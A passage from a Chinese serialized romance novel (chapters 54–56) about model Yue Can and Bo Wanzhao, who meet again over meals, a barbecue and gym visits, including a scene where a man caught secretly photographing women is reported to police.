忙完联名活动的拍摄,晚上越灿约了钟然她们一起吃饭。 毕业之后,钟然和洛扬也都回到了南夏工作。钟然现在在旅游公司当策划,已经当上了小领导,洛扬则是在一家科技公司当技术经理。 这些年三人关系一直没变过,感情依旧,时常聚在一起吃饭。 越灿是最晚过来的。 钟然眼尖,一眼就看出来越灿身上穿的跟平时不是一种风格,“灿灿,你今天怎么穿得这么正经?” “我平时不正经吗?”越灿低头看看,才想起自己还穿着薄晚照的衣服,得找个时间还回去。 钟然笑说:“不习惯你走禁欲系的风格。” 禁欲系?很多年之前,越灿也觉得薄晚照是禁欲系,直到接吻之后,她才对薄晚照改观,禁欲系怎么会直接将人按在床上,急不可耐深吻…… 她那年才十九岁,正纯情的年纪,结果第一次接吻就被亲得面红耳赤,喘不过气。 “灿灿,点什么菜?” 在洛扬的催促下,越灿才从回忆里走出来,她接下来没有拍摄,今晚可以放开吃点,大不了接下来几天多去一下健身房。 钟然说:“给你点个糖醋排骨吧?” 越灿:“不用。” 钟然抬抬头:“你不最爱吃这个吗?” “突然不想吃了,点别的吧。”越灿喝了喝柠檬水解渴,薄晚照回来以后,看见糖醋排骨她也烦。 边吃饭边闲聊。 钟然跟越灿提着:“灿灿,我有个朋友想加你好友,给不给她,她好像是想追你。” “那算了。”越灿照旧是交朋友可以,谈恋爱免谈。 “哎,你都不好奇她长什么样吗?挺漂亮的,特别姐,应该是你喜欢的类型。”钟然叨叨着。 越灿掀了掀眼皮,慢悠悠问:“我喜欢哪种类型?” “就是晚照姐,咳……”钟然嘴快说着,胳膊被洛扬轻轻推了下,她急刹车,没再说下去,只是干咳了两下。 洛扬给钟然夹菜,“你多吃点。” 钟然瞟了瞟洛扬,硬生生转移着话题:“哎,你说我们三个是不是中了什么单身魔咒,一个个的都没脱单。好想来个漂亮姐姐跟我谈恋爱。” 洛扬:“……” 自从越灿坦白跟薄晚照之间的事后,后来钟然也坦白了性取向,洛扬没有被吓到,接受得很快。 钟然就是嘴上说说,越灿吐槽她:“给你介绍那么多个,你又说没感觉。” 钟然:“就是没感觉嘛。” 正聊着,桌上手机屏幕亮了起来,越灿低头看了眼,稍怔,没有马上接。 是通微信语音电话。 “你怎么不接?”钟然瞟了眼,看到bwz三个字母,稍微想想,就能猜到是谁了。 越灿磨蹭片刻,还是拿起手机,餐厅内太吵,她起身去外面接听。 接通后,两人都没马上说话。 越灿问:“有事?” 对面传来熟悉的声音:“什么时候有空?我请你吃饭,昨晚上麻烦了。” 越灿听着,飞快拒绝:“不用。” 薄晚照又说:“那我欠你一顿饭。” 越灿:“妹妹照顾一下姐姐,应该的,不用算这么清楚,你之前给我见面礼,我也没回礼。” 手机那头安静。 越灿趁机又说:“衣服洗干净之后,我会送去酒店前台,到时候你记得去拿。” “没事,先放你那吧,周末我去拿。我找好房子了,离你挺近的。” 越灿蹙眉,“什么?” 薄晚照解释:“阿姨帮我找的,说你住的小区刚好有空房出租。” 你到底想干嘛?越灿差点脱口而出这句,但她又怕自作多情。这是谭茗能干出的事,谭茗担心她独居,巴不得有人能跟她住一块儿,互相照应,先前谭茗都打算让薄晚照跟她住一起。 挂断通话,越灿心又被搅乱,薄晚照似乎没打算避嫌。 回到餐桌。 钟然已经等不及要八卦了,还没等越灿坐下,她就急着问:“你跟晚照姐又联系上了?你们什么情况?” “能是什么情况,她怎么也算我姐,低头不见抬头见,总不能老死不相往来吧?”越灿回答得坦然,继续喝着饮料。 “你们见面不会别扭吗?”钟然又问,虽然越灿和薄晚照没确定过关系,但差不多也相当于有过一段。 越灿语气轻快:“没什么别扭的,过去这么久,以前的事早就没放心上了。” 钟然支着脑袋,“如果总是见面,你会不会又心动啊?你当年那么喜欢……” “我有那么没出息?”越灿有点激动,急着打断钟然的话,冷笑说,“我是那种会吃回头草的人吗?说翻篇了就是翻篇了。” 第54章 你是不是故意的? 钟然想想也是,越灿一贯拿得起放得下,加上脾气又傲,当初越灿主动追人,还被甩得那么惨,以越灿的性格,不恨对方一辈子都算好的了。 虽然这些年越灿没谈恋爱,但也没把薄晚照挂嘴边,钟然笑说:“我还以为你一直不谈恋爱,是因为放不下之前的事。” 越灿漫不经心伸手夹菜,懒洋洋说着,“单身怎么了,你跟洛扬不也没谈?” 钟然看越灿释然了,便不再顾忌,接着八卦,“哎,你说晚照姐突然回来,会不会是想追你?” “你想多了。”越灿下意识反驳掉钟然的说法。虽然再遇之后,她隐隐感觉薄晚照好像在主动,还说了些似是而非的话…… 钟然还想说什么。 洛扬又往钟然碗里夹了夹菜,顺便抛出一个眼神警告。 钟然安静下来。 晚饭吃完后,越灿太累,直接开车回家。 越灿离开后,洛扬跟钟然走在街头散步,她才跟钟然说:“以后你别总是跟灿灿提之前的事。” 钟然无辜说:“我哪有总是提,今晚不刚好聊到了吗?” 洛扬无语了几秒,“你没发现灿灿还放不下吗?” “有吗?”钟然睁了睁眼,她看着洛扬,“你是不是想太多了?这么久了,她怎么可能还没放下。” 洛扬无奈叹了口气,“钟然,你是不是笨啊?” “说事就说事,你骂我干嘛?”钟然为自己鸣不平,她打量着洛扬,两人从小一起长大,她清楚洛扬心情低落时的模样,她转而关心问,“怎么又心情不好了?工作上的事?” 洛扬沉闷说:“不是。” 钟然追问:“那是因为什么?” 洛扬欲言又止。 钟然急了,“你说清楚点行吗?你闷着我怎么安慰你?” 洛扬忍无可忍,直言:“我不想你去相亲……” 钟然愣了下,然后果断答应:“行,以后我不相亲了。” 洛扬哑了哑,钟然总是这样,会不问缘由地答应她提出的要求,做她最好最贴心的朋友。她有点受够这样了,她反问钟然:“你知道我为什么不想吗?” 钟然愣了更长一段时间,心跳忽然快了起来,她声音轻了些,“为什么嘛?” 洛扬一贯淡定,只有面对钟然时分分钟想抓狂,“钟然,我真的要被你气死了。” 钟然脑子也乱,她皱眉嘟哝着:“你说清楚点,总让我猜干嘛!” 街头人来人往,洛扬拉起钟然的手,走进一条无人的小巷。 两人在无人打扰的环境里安静对视,钟然还没来得及反应,身体被轻轻抵住,有温热的吻落在唇上。 “嗯,”钟然整个人颤了颤,轻哼着,“洛扬。” “这样够清楚吗?” _ 会不会是想追你? 晚上洗完澡躺在床上,越灿无聊想起钟然的话,她拿过床头的项链盒,看着里面的项链走神,又想到薄晚照养的那只猫,小脏脏包…… 可能吗? 如果放不下自己,用得着不声不响消失七年,才想着回来?七年前她们最亲密的时候,薄晚照都能毫不留恋,更别说七年之后,什么都淡了。 有过前车之鉴,越灿不会再傻乎乎以为薄晚照有多在乎自己。那可是薄晚照,薄晚照比她没心没肺多了。 或许是自己敏感了,那天薄晚照说请她吃饭,更像是礼貌性提一句,后面便没再联系她。 越灿不知道薄晚照什么时候搬的家,两人再见面是在周末中午,薄晚照找她拿衣服。 独居以后,越灿周末时常叫上朋友来家里小聚,热闹热闹。 这周她叫上了三五好友来家里吃烤肉,发完朋友圈没多久,有人按响门铃,越灿以为是钟然洛扬来了,一打开门,却看见门口站着的是薄晚照。 “我来拿衣服。”薄晚照说,顺便将手里的纸袋递给越灿,“买了甜品,顺便给你拿点。” “我现在不爱吃甜食。”越灿淡说着,婉拒了。 薄晚照沉甸甸的纸袋没能送出去,她轻声问:“口味改了?” 越灿笑说:“是啊,这么多年口味肯定会变。” 薄晚照:“嗯。” “你稍微等一下,我去拿衣服。”越灿没打算叫薄晚照进屋,她转身去卧室拿上次的衣服。 等拿好衣服出来,越灿望向客厅,目光顿住,她看见薄晚照已经被宋镜拉着落座了,还聊成了一片。 宋镜,宝儿,都是薄晚照认识的,在座只有一个女人陌生,但她眼熟。 薄晚照回头看看越灿。 越灿问:“你不忙啊?” 薄晚照抬眸说着:“今天休息,没其他事。” “那正好一起烤肉。”宋镜热情说着。 薄晚照又无声看看越灿,像是在询问“可不可以”。 越灿无话可说,这还能怎样,又不能把人轰出去,正好钟然和洛扬没来,桌上多了餐具。 准备烤肉了,钟然和洛扬一直没来,越灿起身去拿手机,拨通了钟然的号码。 许久对面才接听,“灿灿……” 越灿问:“你们什么时候过来?我们都吃上了。” “今天不过来了,”钟然有气无力地说着,嗓子还哑着,“下次再约吧。” 越灿听出钟然还没睡醒,“你昨晚干什么了,睡到现在。” 钟然瞟了眼身边不着寸缕的洛扬,整张脸都红了,“我看了一晚上电影……” 越灿:“那洛扬呢?” “洛扬……她陪我一起看的。”钟然耳朵根都烫着,要死了,她不敢想象越灿要是知道她和洛扬在一起了,会是什么反应。 洛扬醒了来,她问钟然:“跟女朋友在一起很难说出口吗?你是不是不想认账?” 钟然看着洛扬,吞吞吐吐:“我没有,就是……”就是睡了自己最好的朋友,暂时有点不习惯。 越灿没再多说,挂断电话,回到餐桌旁。 宋镜问:“她们不来了?” “嗯,就我们。”越灿坐下,抬头看,薄晚照就坐在她正对面。 “还没自我介绍,我叫余闻。”余闻这句话是跟薄晚照说的,她转头又对越灿笑说,“你姐好漂亮。” “你好,薄晚照。”薄晚照也打着招呼,虽然是第一次见面,但她眼熟余闻。 越灿跟余闻是在健身房认识的,余闻正好是健身博主,两人熟络之后,偶尔会拍一些联动视频,互相给对方引引流。 牛肉在烤盘上滋啦作响,很快满屋飘香,聚餐吃烤肉最适合,不紧不慢,留出许多时间闲聊。 “灿灿,上脑肉你爱吃,给你。”余闻比越灿大几岁,说话温温柔柔的大姐姐,对越灿很照顾。 薄晚照抬眼看,越灿没说谢谢,直接熟络吃着。 “这个蘸料热量不高,你试试,挺好吃的。”余闻又给一旁的越灿撒着调料粉,“你今天大胆吃,大不了我陪你训练。” 越灿说笑:“你说的。” 薄晚照始终静默,知道越灿身边从来不会缺对她好的人。 “晚照,过段时间我们breeze要开线下分店,能请你过来剪彩吗?”宋镜跟薄晚照聊了起来。 薄晚照悄然收回目光,“好啊,大概什么时候?” 宋镜说:“还有段时间,十一。” 烤肉什么都好,就是容易蹦油,越灿夹肉时中了招,手腕上被溅了几个滚烫的油点,她小声惊呼着收回手。 “没事吧?” “没事吧?” 两个声音几乎叠在一起。 越灿下意识瞟了眼薄晚照,然后跟余闻笑说,“没事。” 薄晚照说:“有药吗?还是擦一下。” 越灿感觉手腕热辣辣的,“药箱里应该有,在玄关那。” 薄晚照起身准备去拿,又跟越灿说:“先去冲一下凉水。” 越灿在厨房里冲着凉水,片刻,薄晚照拿了药膏走过来。 余闻看见,想伸手接过,“我来吧。” 薄晚照淡笑:“没关系,你去吃东西。” 余闻也不好再说什么,笑着点点头。 厨房里只剩她们两人,越灿瞧一眼薄晚照,低声说:“我自己来。” 薄晚照低头,拉过她的手帮她擦,小心温柔。 又是似曾相识的感觉,越灿安静瞧着她眉眼,目光忍不住多停驻几秒,在薄晚照抬头的瞬间,她才轻飘飘瞥向别处,像无事发生。 只有她们二人的空间里,空气总带着别扭,越灿不知道这是不是自己单方面的感觉。 又沉默一秒。 越灿小声开了开口:“薄晚照。” “嗯?”薄晚照望着眼前的人,她以前希望越灿叫她姐姐,但现在她希望越灿像以前一样叫她名字。 越灿以开玩笑的语气问:“你是不是故意的?” 薄晚照张了张唇,始终盯着她的脸,“故意什么?” 越灿做了个无所谓的神情,她还是像以前一样,猜不到薄晚照的心思,她现在也不想猜了,猜来猜去累人。所以她没继续问。 回到餐桌,越灿发现餐盘里多了许多烤肉。 “余老师,你是不是看上我们灿了,区别对待别太明显。”宝儿调侃笑说。 越灿跟宝儿道:“宝儿,别乱开玩笑,人家又不喜欢女生。” 余闻说:“我没说过自己是直的吧?” 宝儿惊讶,好像磕CP磕到真的一样,直笑说:“我就说你们一起拍视频,怎么那么配。” 越灿也挺意外的,“好吧,我一直以为你是直女。” “那你对我误解太深了。”余闻大大方方,“要不是你不想谈恋爱,我早就追你了。” 猝不及防…… 越灿尴尬笑笑。 余闻随口又问:“你一直没谈恋爱,不会是心里有什么白月光吧?” 薄晚照静静抬眼。 越灿没少被人这么问,余光瞥见薄晚照,她回答得比平时都果决干脆:“没有,你小说看多了,还白月光。” 余闻:“真没有?” 越灿边吃边点着头,“嗯。” 余闻又说:“要是没喜欢的人,那我真追你了?” 第55章 是有多饥渴。 宋镜和宝儿都起哄说:“追,支持。” 越灿一笑置之,这种调侃式的表白她没少碰到,很多时候只是嘴嗨,她通常不放在心上,除非后续对方跟她较真,她才会认真说清。 薄晚照慢条斯理吃着,在一片说笑声中显得分外安静。 几个人又聊起了减肥健身的话题。 “我真该运动起来了。”宋镜吃撑了,摸了摸自己的腰,“天天在工作室画图,这两年胖了一圈。” 余闻:“哪有,你刚刚好。” 安静良久的薄晚照抬抬头,她问越灿:“这附近有健身房吗?” 越灿每周都要固定健身三到四次,“小区对面有一家。” 薄晚照:“你平时去的?” 越灿默了默。 薄晚照又问:“环境怎么样?” 越灿瞧了薄晚照一眼,中规中矩点头说:“环境还可以。” “你也健身?”余闻加入二人的聊天,问着薄晚照。 薄晚照浅笑了笑,“嗯,工作之余偶尔运动一下,频率不高。” “下午我们可以一起,正好我跟灿灿也要去。”余闻主动邀请。 薄晚照声音很轻:“好啊。” …… 夏天已经进入尾声,高温依然,离开南夏太久,薄晚照竟有些不适应南夏漫长炎热的夏天。 越灿知道薄晚照跟她搬来了同一个小区,但不知道薄晚照就住在她楼下几层,确实够近的。 薄晚照下楼换了身适合健身房的穿搭,浅色的短款紧身T恤,和黑色运动长裤,长卷发挽了起来。 碰上面,越灿盯着薄晚照稍稍愣了愣,大概是习惯了薄晚照一丝不苟的职场装,她垂眼看到薄晚照腰上清晰可见的马甲线时,就知道薄晚照不是偶尔运动,身体线条练得很漂亮。 真是对自己各方面都严格的女人,越灿腹诽着。 越灿不是自律那挂的,要不是职业需要,她压根懒得往健身房跑。 余闻笑说:“走吧。” 越灿敛起思绪,点点头。 三人一起乘电梯下楼。 电梯间里,余闻往越灿身边站了站,手臂几乎贴上,她小声说:“别动。” 越灿:“嗯?” 薄晚照望着反光的电梯壁,余闻正细心帮越灿整理着头发,似曾相识的情景。 越灿注意到余闻笑得有点儿暧昧,弄得两人关系不太清白似的,她反应过来余闻中午说的那些话,或许不完全是玩笑话。 薄晚照站在电梯另一角,抱了抱胳膊,神情没什么变化,只是目光不动声色僵住,略微失神。 越灿也看了看电梯壁,映衬一道清冷身影,盯了两眼,她视线从薄晚照身上移开,看向一排排的电梯按钮。 余闻察觉气氛有点儿怪,又说不上个所以然。 电梯抵达时,越灿和薄晚照不约而同往外走,身体轻轻撞在一起。 薄晚照伸手扶了扶。 越灿:“没事。” 薄晚照:“嗯。” 越灿目光又短暂落在薄晚照脸上,多年过去,薄晚照平时给人的感觉依旧冷静理智,难以靠近。 薄晚照即便短暂让你靠近,也会很快将你推开,越灿清楚这点,就好比那晚在酒店薄晚照暧昧抱她,说些暧昧的话…… 她知道不能较真。当初她就是这么栽薄晚照手里的,绝对不可能重蹈覆辙。 余闻见越灿不在状态,轻声关心:“想什么呢?” 越灿笑道:“想练完吃什么。” 余闻听了直笑。 薄晚照在健身房办了张会员卡,她最近几年才养成运动的习惯,心理医生建议她用运动的方式释放情绪,要健康得多。 今天运动完,薄晚照没有放松的感觉,只剩疲惫。 她并非自己想象中那么释然,尽管她想过很多遍越灿跟别人在一起的情形,但亲眼看见越灿与人暧昧,心里还是会堵。 晚间失眠,薄晚照久违喝了酒,一个人闷闷喝了不少,最后晕沉醉倒在沙发上,直到后半夜才醒来。 她醒来后房间里灯火通明,但冷冷清清,好在有猫陪在身边。她伸手摸了摸睡在沙发旁的小脏脏包,支起身子走去浴室。 看着镜子里的自己,薄晚照恍然想起自己离开南夏后的状态,狼狈萎靡。当初离开南夏后,又面对着工作压力,很长一段时间她对酒精产生了依赖。 那是她最糟糕混沌的一段时间,消极逃避自己的心理问题,除了拼命工作,就是用酒精麻木现实,那时真觉得什么都好不起来了。 薄晚照打开淋浴冲掉身上的酒气,深呼吸着,渐渐恢复清醒。她摸着自己手臂上的疤痕,已经学会坦然接受,不再病态地反复搓洗到皮肤红肿。 在国外她经常想着,等自己好起来,就回南夏吧。 她很想回南夏。 _ 近期没管住嘴,越灿去健身房的频率高了些,为接下来的拍摄工作做准备。 一个人运动乏味,她平时都是叫上钟然一起,但最近钟然挺忙的,天天晚上没空说要加班。 余闻给她发了微信,说能陪她练,不过上次余闻半开玩笑表白后,她下意识避嫌。 通常前一晚有运动,越灿会睡得更久,次日骄阳高照,她还在睡梦中昏天黑地。 一个带颜色的梦,炽热缠绵。 和薄晚照…… 她埋头肆意深吻,薄晚照则露出柔软的目光看她,勾着她脖颈主动索吻不停。 薄晚照紧抱着她,不知道温柔又动情地叫了多少声“越灿”。 …… 闹钟声让脸红心跳的画面戛然而止。 越灿睁开眼,仿佛还在梦里,她呼吸滚烫,脸颊和身体都燥热,她朦朦胧胧看了眼床畔,是空的。 大概是这段时间她跟薄晚照见面频繁,梦里的情形跟真的似的。 她心跳扑通,无奈用手背搭在眼睛上,叹了叹气,做这么激烈的梦,到底是有多饥渴。 良久,越灿从脸红心跳中缓神,翻过身,望着空空如也的床畔走神。 又梦到薄晚照了。 到底是有多没出息…… 越灿身上黏糊难受,先去洗了个澡,然后才出发去工作室,今天有点简单的拍摄。 拍摄休息期间。 宝儿拉着越灿闲聊,“你跟余老师进展得怎么样?” 越灿:“什么进展?” 宝儿:“你们没在谈啊?” 越灿:“开玩笑的话你也当真。” “我看余老师挺认真的,你感情怎么这么迟钝。”宝儿忍不住吐槽。 越灿又说:“你知道我不想谈。” “你老说这句话,都给自己洗脑了。”宝儿总觉得越灿有故事,越灿平时性格热情,但一到感情问题,就跟换了个人似的,冷冷淡淡提不起劲。 越灿无所谓笑笑。 “余老师很符合你的理想型,你为什么不考虑?”宝儿纳闷,认识多年,她也知道越灿理想型是什么样的。 越灿安静想想,温柔贴心,情绪稳定,又很主动,事事都会给出回应,余闻不正是她想找的那类吗? 可她就是没有想谈恋爱的念头,尽管也会羡慕身边朋友甜甜蜜蜜的,有人陪伴。 宝儿吃着冰淇淋,“我感觉余老师肯定想追你,你可以给个机会。” 越灿:“你这么操心干嘛?” 宝儿俏皮笑笑,“关心你呀,看你万年单身。” 越灿转移话题:“干活。” 下班之后,越灿无聊,无聊到主动往健身房跑,她换好衣服,站在玄关的落地镜前拍了张自拍照,然后将照片发到朋友圈,写着:最近自律得可怕。 走到健身房,她存包时看了眼手机,收到不少消息。 有一条扎眼。 bwz点赞了她的动态。 加回好友以后,她们没有聊天,但每一条动态薄晚照都给她点赞,就跟表示“已阅”一样。 越灿不以为意,忙自己的,她训练强度不大,对肌肉要求不高,主要是保持体脂率,然后练练形体线条。 几组器械后,越灿喝水时碰到熟悉的身影,她望着薄晚照怔了怔,这又是碰巧? 薄晚照回南夏后,她们之间的碰巧未免也太多了。 对视了一眼,越灿没开口打招呼,继续做下一组训练。 来了个男的询问:“美女,一起用行吗?” 越灿看了看旁边不少空闲的器械,知道对方的目的不纯,她冷冷回答:“不方便一起,我还剩两组结束。” “那好吧。”男的面带失落,转而去其他地方转悠,换了个地方之后,他拿起手机,偷偷拍着什么。 一连拍了好几张,他察觉到身边有人过来,立即收了收手机。 一个语调冰冷的女声响起:“拍的什么?” 男人心虚说:“没拍什么啊。” 薄晚照打量着他,“那你藏什么?既然没拍,打开相册看看。” 男人给自己壮着胆子,拔高声调说:“我凭什么给你看?这是我的隐私。” 薄晚照看向工作人员,招手叫了过来,言简意赅说:“他偷拍这里的女会员。” 男人急了:“你这是污蔑人,能不这么自恋吗?不是拿着手机就是在拍你。” 工作人员协商着,“先生,要不你打开相册,误会自然就解开了。” 男人攥着手机,脸红一阵白一阵,“我凭什么?她随口一句话我就要听她的?讲不讲理?” 薄晚照斜眼,淡淡然说:“那我报警了。” “你……”男人慌了慌,“这有必要吗?” 工作人员又道:“先生,你就打开看一下吧,别闹得麻烦。” 越灿听到争执声,看了看,好像是薄晚照跟人吵了起来,她起身快步走了过去,问薄晚照:“怎么了?” 薄晚照说:“偷拍了照片。” 越灿以为是薄晚照被偷拍了,一听就火大了,朝着眼前的男人狠狠吼道:“王八蛋,你什么玩意儿,手机给我!” 动静越闹越大,引来了其他人围观,得知来龙去脉后,有个女孩子也勇敢站出来指认,“这人老惯犯了,上次还拍了我。” “我真没拍什么。”男人被团团围住后,嘴硬不下去,迫于压力把手机给了出去*,“就随手拍了几张,这也没什么,至于闹这么大吗?” 看到照片以后,越灿才发现是自己被偷拍了,拍了好几张,为了拍清楚,还放大了好多倍。 越灿一阵恶心。 男人还企图给自己狡辩:“我认识她,她是模特,本来就是给人看给人拍的,我……” 男人还没说完,脸上挨了狠狠的一记耳光,半边脸麻了。 薄晚照面色冷峻,眼神凌厉,“放尊重点。” 越灿看向薄晚照,没见过薄晚照这样冲动过激的模样。 男人捂着脸,“靠,你至于吗?” 薄晚照拿起手机报警。 男人:“靠,手机都给你们了还报警啊?” 薄晚照:“我有说过你拿出手机就不报警吗?” 男人:“我道歉行吗?再说我也没拍到什么。” 越灿:“道歉有用要警察干嘛?你还想拍到什么?” 男人:“……” 工作人员不想把事情闹大,于是想劝解。 薄晚照的态度很坚决,犯了错就应该得到应有的惩罚,否则犯错成本也太低了。 另一个女孩也坚持要报警,“如果我上次报了警,没准这次就不会有这种情况了。” 最后还是叫来了警察,结果有意外收获,男人手机里存了个保密文件夹,都是些偷拍的照片,男人顺理成章被带走了。 整这么一出,越灿也没心情锻炼,她拿起包准备回去,薄晚照陪着她一起,越灿看看她,没说什么。 越灿一路安静。 电梯里,薄晚照轻声安慰说:“没事了,别因为那种人不高兴。” 越灿说:“才不会。”就是挺不舒服的,觉得倒霉,被恶心到了。 薄晚照:“吃东西没?” “没胃口。”越灿一般都是健身完出来,买份轻食吃,今天忘了。 薄晚照的楼层先到,电梯门开了后,她没问越灿,直接拉着越灿一起走出电梯。 越灿跟着她,“干嘛?” 薄晚照:“一起吃吧。” 讲不讲理,都没问自己愿不愿意,越灿边吐槽边跟着薄晚照脚步。 薄晚照开了门。 越灿进屋后,没多久一只小猫鬼鬼祟祟溜达了出来,小猫很聪明,第二次见越灿像是认了出来,主动上前贴贴。 薄晚照弯腰抱起猫,靠近越灿。 越灿经不住诱惑,伸手逗着小猫下巴,不禁勾了勾嘴角。 薄晚照见状,将小脏脏包送到越灿怀里,“让她哄哄你。” 越灿抱过猫,以前心情不好的时候就想去梧桐巷撸猫……她瞧了瞧薄晚照,“你以为我还跟以前一样?” 薄晚照看她喜欢的样子,淡笑着反问:“不是吗?” 越灿语塞,她们靠得很近,她目光扫过薄晚照扬起的唇边,不经意间想到清晨的那场梦,心跳乱掉节拍。 她低头逗猫,不去看薄晚照。 薄晚照没拉开距离,轻声细语地问:“怎么了?” 第56章 不可以。 越灿仍然低头回避着薄晚照的目光,她搂着怀里的小猫,哼了声:“她挺粘人的。” 薄晚照也摸了摸猫,顺便问她:“最近要控制饮食吗?” 越灿抬抬头,“嗯?” 从越灿去健身房的频率,薄晚照也能猜到越灿应该拍摄工作,她主动问:“吃牛肉和蔬菜沙拉,可以吗?” 越灿对上薄晚照看来的目光,一时安静,她觉得薄晚照说话温柔得过分,甚至比多年前更加。 薄晚照没等她回答,“你帮我喂一下她,我去做饭了。” 越灿:“……” 还是留了下来。 薄晚照转身往厨房去了。 怀里的小猫撒娇轻哼,越灿叫了叫她名字,“小脏脏包。” 小脏脏包开口应了一声。 越灿盯着怀里的小猫,薄晚照说出国前就养了,也就是离开南夏不久后…… 薄晚照洗干净手,打开冰箱拿着食材,厨房是开放式,她往客厅看了看,越灿在喂猫,没有离开。 客厅里东西又少又整洁,跟样板间似的,越灿心不在焉撸了会儿猫,厨房很快飘出香味,她抬头望去,看见薄晚照正忙碌的身影。 七年过去,有些东西似乎又没变,薄晚照一如既往对她贴心照顾,按照她的习惯迁就她。 越灿盯着厨房里的背影,想到那年在狭窄破旧的厨房,薄晚照也是这么给她做饭,她悄悄从薄晚照身后抱她,腻歪撒娇,薄晚照由她任性,还会把她搂在怀里温柔哄她。 没在一起过,可越灿却总觉得她们热恋过。 越灿记性不怎么样,抛却脑后的事很快就能忘了,唯独和薄晚照有关的事,明明过了这么久,依然连种种细节都记得清楚。 因为薄晚照突然的回来,原本尘封的记忆又开始频繁被勾起,压也压不下去。 没多久,薄晚照做好了黑椒牛肉粒,和蔬菜沙拉,端上餐桌,“可以了。” 越灿手上沾了猫毛,去洗了个手,然后回到餐桌,她叉了块牛肉粒到口中,焦香多汁,薄晚照厨艺依旧很好,好像什么都会做,做什么都好吃。 “味道怎么样?”薄晚照问她。 “挺好吃的。”越灿说。 薄晚照也吃着牛肉粒,“蔬菜沙拉用油醋汁调的,没什么热量。” 越灿反应还是平平淡淡,“嗯。” 又是沉静。 片刻后,还是薄晚照开口说话,“以后晚上可以一起吃,你现在喜欢吃什么,可以告诉我。” 越灿手中动作停了停,不咸不淡地拒绝:“不用了。” 薄晚照眸光垂了垂,“以前不是爱吃我做的饭吗?” 又提以前,越灿下意识想避开这个话题,“是吗?这么久了你还记得啊。”说得自己早就忘了一般。 薄晚照:“记得。” 越灿还是回着:“不用。” 这是希望想要她们再回到以前那种相处模式吗?两人关系亲密,但不能越界……越灿边吃边想着,心里有点烦,不能想有关薄晚照的事,一想就烦。 分神时,越灿被食物呛了下,她起身去厨房想喝水。 薄晚照起身跟了过去,拿过一只水杯帮她接了水。 越灿干咳着,捧着玻璃杯喝水,缓了好一会儿才停下咳嗽。 薄晚照接过水杯,放在一旁,她瞧见越灿嘴角的水渍后,抬手用指腹帮她擦着。 越灿看薄晚照用指尖擦着自己唇瓣,一时间呼吸紧了紧,心底蹿起股压不住的酥麻。 两人霎时都安静无声,悄然对视,目光落在彼此脸庞,时间仿佛流淌慢了。 薄晚照唇微微张合,继续将她嘴角的水渍擦干。 越灿心跳胡乱撞着,梦里忘情热吻的画面又涌入脑海,她不自觉抿了下唇,像被烫了下,“我还有工作,先回去了。” 说完这句,越灿闷头离开。 薄晚照唇舌也有些干,她拿起水杯喝了口水,目光又看向门口方向,她自然感觉得到,越灿在有意疏远她,不让她靠近。 越灿上楼,立即去浴室冲了个澡,她站在淋浴下淋着热水,心烦,一见薄晚照就乱糟糟的,还是保持距离比较好。 洗完澡后,越灿躺在沙发上又胡思乱想了会儿,忙起来就不会了,正好账号好些天没更新了,一堆粉丝在催,她打算拍一条穿搭视频。 睡前她收到余闻发来的消息,余闻想找她合作拍条视频,她答应了,粉丝都知道她们俩是好友,经常在对方视频里出镜联动。 说完事后,余闻又跟她说了声“晚安”。 余闻最近的联系有些频繁,虽说她们之前也常联系,但大多是讨论健身和工作的事。 越灿感情方面再迟钝,也能猜到余闻想追自己,只是余闻还没有完全戳破这件事。 到午餐晚餐的点,余闻开始拍照片发给她,报备似的,越灿看着照片有时走神,想到以前薄晚照就是这样…… 除去各种拍摄,其余时间越灿都在店里,下午,越灿看到余闻提着一大盒甜品过来了。 “自己做的,味道还不错,你们尝尝。” 宝儿两眼放光,调侃说:“沾灿姐的光,有好吃的了。” 余闻笑了笑,没否认,她看看越灿,“吃一点吧?热量比外面卖的低,看你挺爱吃甜品的。” 越灿看余闻这样,觉得挺浪费人时间的,她单独叫余闻出去说话,因为余闻没有说破,她一时有点不知道怎么开口。 余闻见状,主动笑说:“感觉到我想追你了?” 越灿也笑笑:“嗯。” 余闻便开门见山:“要不要给我个机会,我那天是说认真的。” 越灿也不弯弯绕绕,“我们还是当朋友吧。” 余闻失落无奈,“你应该不讨厌我吧?再考虑一下吧,没让你现在就跟我在一起。” 即便余闻这么说,越灿还是很坚定地摇头拒绝。余闻很好,也符合她理想型,但她不想跟余闻谈恋爱。 余闻都不知说什么好了,她苦笑:“这么绝情?” 越灿说:“做朋友也挺好的。” 余闻看出来没有回旋余地,“我能问一下,你为什么不想谈恋爱吗?” “没碰上想谈恋爱的人。”越灿不止一次被问,所以回答得熟练。 余闻表情诧异,“从来没碰到过?不科学啊,追你的人应该很多吧?” 越灿不置可否。曾经碰到过一个,她没脸没皮主动贴上去,但对方就是不要她…… “你要求一定很高,别单身一辈子。”余闻说笑。 “单身就单身吧,我习惯了。”越灿洒脱说道。 余闻无可奈何叹叹气,“那视频还给我拍吧?” “当然了。”越灿扬起唇边,拒绝表白不妨碍她们继续做朋友,说清楚就行。 “行,”余闻大方爽快,既然不可能那还是做朋友,“到时候健身房见。” 她们特意选了工作日去健身房拍摄,周末人多,不那么方便。 这天在健身房,越灿又碰上了薄晚照,薄晚照运动的频率比她要高,她只要过来,两人碰上的几率很大。 还是余闻先看到的薄晚照,她提醒越灿,“那是你姐?” 越灿看过去,确实是薄晚照。 薄晚照走近,淡笑着跟二人打打招呼,“来拍视频?” 余闻说:“拍个vlog,叫灿灿过来出镜一下。” 薄晚照看看越灿,莞尔说:“你们忙。” 越灿没什么好说的,浅笑不语。 余闻忽然发觉这俩人之间气氛哪里怪了,没多少话,但又能感觉到彼此很熟,甚至,有点不清不楚的味道。 按脚本拍摄了一半,越灿跟余闻站在一旁喝水休息。 越灿目光下意识望不远处瞥去,每次都是看过去了,才意识到自己在看,然后又云淡风轻收回视线。 余闻瞧在眼底,“你看什么呢?” 越灿回头,“没什么。” 余闻戳破:“在看你姐?嗯,是挺好看的。” 越灿:“……” 余闻在感情方面敏感,她注视越灿片刻,大胆猜测问:“她不是你亲姐姐吧?” 越灿缓了下,“不是。” 余闻那天没多想,真以为薄晚照是越灿亲姐姐,现在看来,自己的直觉很准,“难怪了……” 越灿好奇:“难怪什么?” 余闻一针见血说:“难怪你看她那么不规矩,不像是看亲姐姐。” “我有吗?”越灿立即反问,她自认为面对薄晚照,伪装得滴水不漏。 余闻没回答,直接追问:“所以你拒绝我,是因为她吗?” “不是。”越灿回答得斩钉截铁,“我跟她什么都没有。” 即便有什么,那也是过去的事。 “真的?”余闻眨眨眼,不太相信的样子,“越灿,我以前没发现,你嘴挺硬的。” 越灿皱眉笑,幼稚威胁:“再说我不帮你拍了。” 